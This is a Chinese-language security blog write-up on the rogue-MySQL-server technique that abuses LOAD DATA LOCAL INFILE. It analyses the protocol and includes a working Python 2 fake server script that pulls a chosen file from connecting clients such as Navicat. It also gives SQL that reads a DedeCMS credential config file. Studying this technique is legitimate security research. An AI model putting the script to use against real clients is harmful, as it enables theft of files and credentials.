最早遇到这个问题的时候,大概是刚开始做安全的时候,那时候还没意识到利用等实际价值。18年的时候记得有一个CTF题,利用的就是扫描MySQL端口来获取读文件flag。直到今天看到一位大佬的拓展文章,打算实际的去利用实践一下。
https://lorexxar.cn/2020/01/14/css-mysql-chain
LOAD DATA INFILE
LOAD DATA INFILE,作用是可以把文件读入到数据库的某个表里,如果在远程连接状态下使用了LOCAL关键字,即LOAD DATE LOCAL INFILE,那么就会从客户端读取一个本地文件,存入服务器端的table里。
如果执行load data infile "C:/Windows/win.ini" into table test FIELDS TERMINATED BY '\n';
提示
受到secure_file_priv
的导入导出限制。
但是使用load data local infile "C:/Windows/win.ini" into table test FIELDS TERMINATED BY '\n';
就会把客户端的文件读取到服务端,并且不再受到secure_file_priv
的导入导出限制。
也就是说只要我们伪造一个服务端,让客户端主动连接过来,这样我们就可以任意读取系统上的文件等。
请求协议分析
登陆
先发送一个Greeting请求包,获取一些server信息。
接着会发送一个认证请求包,包含账号密码
后面会再接着发送一些查询请求,获取一些设置和编码信息等。
加载文件
这时候我们点加载本地文件到test数据库中,会有三条相关的请求。第一条是发送查询语句
第二条是服务端返回了加载的文件地址给客户端
第三条就是客户端根据返回的地址读取文件,发送给服务端
所以这相当于一个客户端根据服务端的返回来读取文件请求给服务端的过程,也就是服务端是一直可信的。
而此处的利用就是,当服务端不可信的时候,利用返回来读取连接的客户端的信息文件。
那么,是不是只有在加载LOAD DATA LOCAL的时候才可以进行读取客户端文件,而别的时候不行呢。官方有一句这么解释,此处翻译为中文
意思是可以在任何语句中返回具有读取权限的文件。
受影响应用
server端使用如下脚本:
#coding=utf-8
import socket
import logging
logging.basicConfig(level=logging.DEBUG)
filename="C:\\Windows\\win.ini"
sv=socket.socket()
sv.bind(("",3306))
sv.listen(5)
conn,address=sv.accept()
logging.info('Conn from: %r', address)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
content=conn.recv(9999)
logging.info(content)
conn.close()
利用Navicat Premium来连接,在配置中点击测试连接,就会有返回响应
python2的MySQLdb
不过在测试中发现python3的pymysql确不受影响
拓展利用
在原文中,讲述了几种针对CMS的利用,那么就看一种针对dedecms的简单利用方式。
load data local infile "D:\\phpstudy_pro\\WWW\\DedeCMS\\data\\common.inc.php" into table dede_log FIELDS TERMINATED BY '\n';
select * from dede_log;
使用dede默认的数据库的时候,连接信息被隐藏没有保存到数据。
先更改数据库
use test;
load data local infile "D:\\phpstudy_pro\\WWW\\DedeCMS\\data\\common.inc.php" into table test.test FIELDS TERMINATED BY '\n';
select * from test.test;